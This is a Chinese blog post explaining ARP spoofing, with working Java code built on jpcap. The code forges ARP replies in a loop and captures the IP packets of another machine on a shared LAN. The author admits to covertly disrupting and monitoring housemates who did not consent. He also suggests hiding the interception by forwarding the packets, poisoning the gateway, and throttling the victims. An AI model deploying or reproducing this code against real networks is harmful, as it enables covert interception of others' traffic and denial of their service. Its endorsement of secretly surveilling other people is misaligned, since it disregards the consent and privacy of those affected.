使用JAVA通过ARP欺骗类似P2P终结者实现数据封包监听

如果说最近有什么不爽的事情，那就是与人共享网络的痛苦了，特别是当其他共享者使用那些p2p工具下载软件，而你却看着网页进度条一点点爬的时候，那种痛苦对于我这种网虫级别的人来说，那简直就是痛不欲生。绝对不能再忍了，于是乎上网下载p2p终结者，哼，你们不仁我则不义，看谁厉害。软件下好后，立刻启动监控，然后尝试了下速度，哇，那个爽啊。可惜好景不长，没多久对方就跑来问我为什么他们断网了？我楞了一下，那垃圾软件居然连对方的网都断了，于是支支唔唔的应付了他，说我看下，总算勉强过关，还好他们不懂电脑，不然就掉大了（貌视挺卑鄙的，别bs俺，俺也是迫不得已）。

没办法，那破烂软件居然连人家网都断了，我仅仅只是想给他们限速而已（还算有点良心），仔细查看了下文档，使用的方式都没问题啊，为什么会这样呢？想了半天也毫无头绪，没办法，看来只能自己动手了，于是乎上网找了些关于这方面的资料看了下，也写了一点代码做试验，由于时间有限也只写了一点，不过总体的做法大概是有所了解，在这里就写一篇文章大概记录一下自己的做法，以便作为日记又可与大众分享下。

其实目前网络上类似p2p终结者这类软件，主要都是基于arp欺骗实现的，网络上到处都有关于arp欺骗的介绍，不过为了本文读者不需要再去查找，我就在这里大概讲解一下。
arp（address resolution protocol）既地址解释协议，主要的目的是用于进行ip和mac地址解释的。ip是网络层协议，而mac是被数据链路层使用。网络中两个节点要进行通信，那么首先发送端必须要知道源和目的地的mac地址，而网络层是使用ip地址，所以要获得mac地址，就必须通过ip地址获取对应的mac地址，这样就需要使用arp协议将ip地址转换为mac地址，而同时为了能够快速的找到目的地的mac地址，每个节点都会有一个arp缓存，用于保存已经转好好的mac地址，大家可以在控制台下使用arp –a指令查看arp缓存表。

而arp具体过程就是当需要通过ip获取一个远端的的mac地址的时候，系统会首先检查arp表中是否存在对应的ip地址，如果没有，则发送一个arp广播，当某一个拥有这个mac地址的节点收到arp请求的时候，会创建一个arp reply包，并发送到arp请求的源节点，arp reply包中就包含了目的地节点的mac地址，在源节点接受到这个reply后，会将目的地节点的mac地址保存在arp缓存表中，下一次再次请求同一ip地址的时候，系统将会从arp表中直接获取目的地mac地址，而不需要再次发送arp广播。

看到这里，arp的具体过程大概讲解了一遍，希望能够解释清楚。相信有心的朋友一定已经开始考虑arp欺骗的原理了吧，其实就是利用arp表进行arp欺骗，比如一台局域网内的机器a，通过网关b进行internet连接，而它的arp表中保存着网关b的ip和mac地址对，如下：
192.168.1.1 —> mac1(懒得写那么长了，就以mac1作为mac地址了)

那么也就是说，当a想上网的时候，他所有的数据都将先发送到网关再由网关转发出去，那么a的数据首先会通过192.168.1.1找到网关的mac地址mac1，然后就可把数据发送到网关了。此时你的机器是c，mac地址是mac2，你想通过arp欺骗来获取a传输的数据，那么你所需要做的事情其实很简单，就是将机器a的arp表中192.168.1.1对应的mac地址mac1改成mac2即可，这样子机器a所有发送到192.168.1.1的数据就会发到mac地址为mac2的机器上，也就是你的机器上了。

要更改apr表的记录，办法就是伪造一个arp reply包发送给机器a，而这个arp reply包中的源ip为192.168.1.1，mac地址为mac2既你的机器的mac地址即可，机器a接受到后就会将这个源ip和mac刷新到它的arp缓存表中，覆盖原有的记录，最终这样就可以达到arp欺骗的目的了。

讲到这里不知道大家是否对arp欺骗有所了解呢？如果再不了解那就上网搜搜吧，网上很多相关的资料。好了，原理讲完了，那就轮到实现了，通过java又如何实现arp欺骗呢？
从头到尾来做，当然不是我的作风，java社区那么庞大，我么应该好好利用，要站在巨人的肩膀上成功嘛，呵呵。有一个开源项目jpcap，这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制，具体可到官方网站查看其文档。

在这里，我实现了一个简单的封包截取程序，根据arp欺骗的原理，我们所需要做的事情如下：
1、构建一个arp reply包
2、将该封包发送到需要欺骗的机器

代码如下：

public class locallistener {
private final static string gate_ip = "192.168.11.1";
private final static byte[] gate_mac = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private jpcapcaptor jpcap; //与设备的连接
private jpcapsender sender; //用于发送的实例
private packet replypacket; //arp reply包
private networkinterface device; //当前机器网卡设备
private ipmacmap targetipmacmap; //目的地ip mac对
public locallistener(ipmacmap target) throws exception {
networkinterface[] devices = jpcapcaptor.getdevicelist(); device = devices[1];
this.targetipmacmap = target;
initsender();
initpacket();
}
private void initsender() throws exception {
jpcap = jpcapcaptor.opendevice(device, 2000, false, 10000); //打开与设备的连接
jpcap.setfilter("ip", true); //只监听ip数据包
sender = jpcap.getjpcapsenderinstance();
}
private void initpacket() throws exception {
//reply包的源ip和mac地址，此ip-mac对将会被映射到arp表
ipmacmap targetssd = new ipmacmap(gate_ip, device.mac_address);
//创建修改目标机器arp的包
replypacket = arppacketgern.genpacket(targetipmacmap, targetssd);
//创建以太网头信息，并打包进reply包
replypacket.datalink = ethernetpacketgern.genpacket(targetipmacmap.getmac(),
device.mac_address);
}
public void listen() throws interruptedexception{
thread t = new thread(new runnable() {
public void run() {
//发送reply封包，修改目的地arp表， arp表会在一段时间内被更新，所以需要不停发送
while(true){
send();
try {
thread.sleep(500);
} catch (interruptedexception ex) {
logger.getlogger(locallistener.class.getname()).log(level.severe, null, ex);
}
}
}
});
t.start();
//截获当前网络设备的封包收发信息
while(true){
ippacket ippacket = (ippacket)jpcap.getpacket();
system.out.println(ippacket);
}
}}

//ip-mac实体，只用于保存一对ip-mac地址
public class ipmacmap {
private string ip;
private byte[] mac;
public ipmacmap(){
}
public ipmacmap(string ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}
public string getip() {
return ip;
}
public void setip(string ip) {
this.ip = ip;
}
public byte[] getmac() {
return mac;
}
public void setmac(byte[] mac) {
this.mac = mac;
}
}
//arp reply包生成类，用于根据目的地址和源地址生成reply包
public class arppacketgern{
public static arppacket genpacket(ipmacmap target, ipmacmap sender) throws exception{
arppacket arptarget = new arppacket();
arptarget.hardtype = arppacket.hardtype_ether; //选择以太网类型(ethernet)
arptarget.prototype = arppacket.prototype_ip; //选择ip网络协议类型
arptarget.operation = arppacket.arp_reply; //选择reply类型
arptarget.hlen = 6; //mac地址长度固定6个字节
arptarget.plen = 4; //ip地址长度固定4个字节
arptarget.target_hardaddr = target.getmac();
arptarget.target_protoaddr = inetaddress.getbyname(target.getip()).getaddress();
arptarget.sender_hardaddr = sender.getmac();
arptarget.sender_protoaddr = inetaddress.getbyname(sender.getip()).getaddress();
return arptarget;
}
}


//根据目的地mac和源mac构建以太网头信息，用于传输数据
public class ethernetpacketgern{
public static ethernetpacket genpacket(byte[] targetmac, byte[] sendermac) throws exception {
ethernetpacket ethtotarget = new ethernetpacket(); //创建一个以太网头
ethtotarget.frametype = ethernetpacket.ethertype_arp; //选择以太包类型
ethtotarget.dst_mac = targetmac;
ethtotarget.src_mac = sendermac;
return ethtotarget;
}
}

如上代码实现了创建一个发送到ip为192.168.11.4的机器的arp reply封包，其中可看到，reply包中的源ip为192.168.11.1，而源mac则被改成当前机器的mac地址，既device.mac_address，这样当192.168.11.4的机器接收到该reply包后，就会刷新arp表，并且所有发送往192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包，主要是因为arp表会在一定时间内更新，所以要不停的发送才能保证其mac地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有ip数据包信息，本来此方法只能监听到本机数据包的信息，但由于使用了arp欺骗，所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包，并看到类似如下的信息：

1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) tcp 1337 > 8016 seq(1062321893) win(65535) s
其实上例程序虽然可以截获并监听192.168.11.4的数据包，但是如果真的运行起来后，192.168.11.4的机器将会无法上网（假设该机器通过192.168.11.1作为网关上网），这又是为何呢？
这就是因为本机截获了192.168.11.4的封包，但是却没有将封包转发出去，所以实际上数据包到了你的机器上后就被中断了，数据包无法发送出去。既然要监听对方机器，当然不能让对方知道啦，如果你监听了那台机器，却导致对方无法上网，*也知道有问题啦，所以以上程序仍然要加个补充，那就是将封包数据在转发到192.168.11.1上，只要将截获的封包再send出去就可以了，具体如何做就留给大家想吧，困了，休息了，如果有朋友有兴趣又实在想不出如何做的话，可以向我提出来，有必要的话，下次再贴一个完整点的例子吧。

对了，最后还有补充的地方，那就是我们可以通过同样的方式刷新网关的arp，这样网关接受到的数据也会被本机截获，同样再通过本机转发到目的机器即可。这样对方既可正常上网，而我们又可截获对方的数据包，如果要进行限速的话，那就是在截获封包的同时，进行一定的延时，比如一秒只允许多少k的数据通过，都可以在这里做手脚，同样的，具体如何留给大家想吧，^ o ^。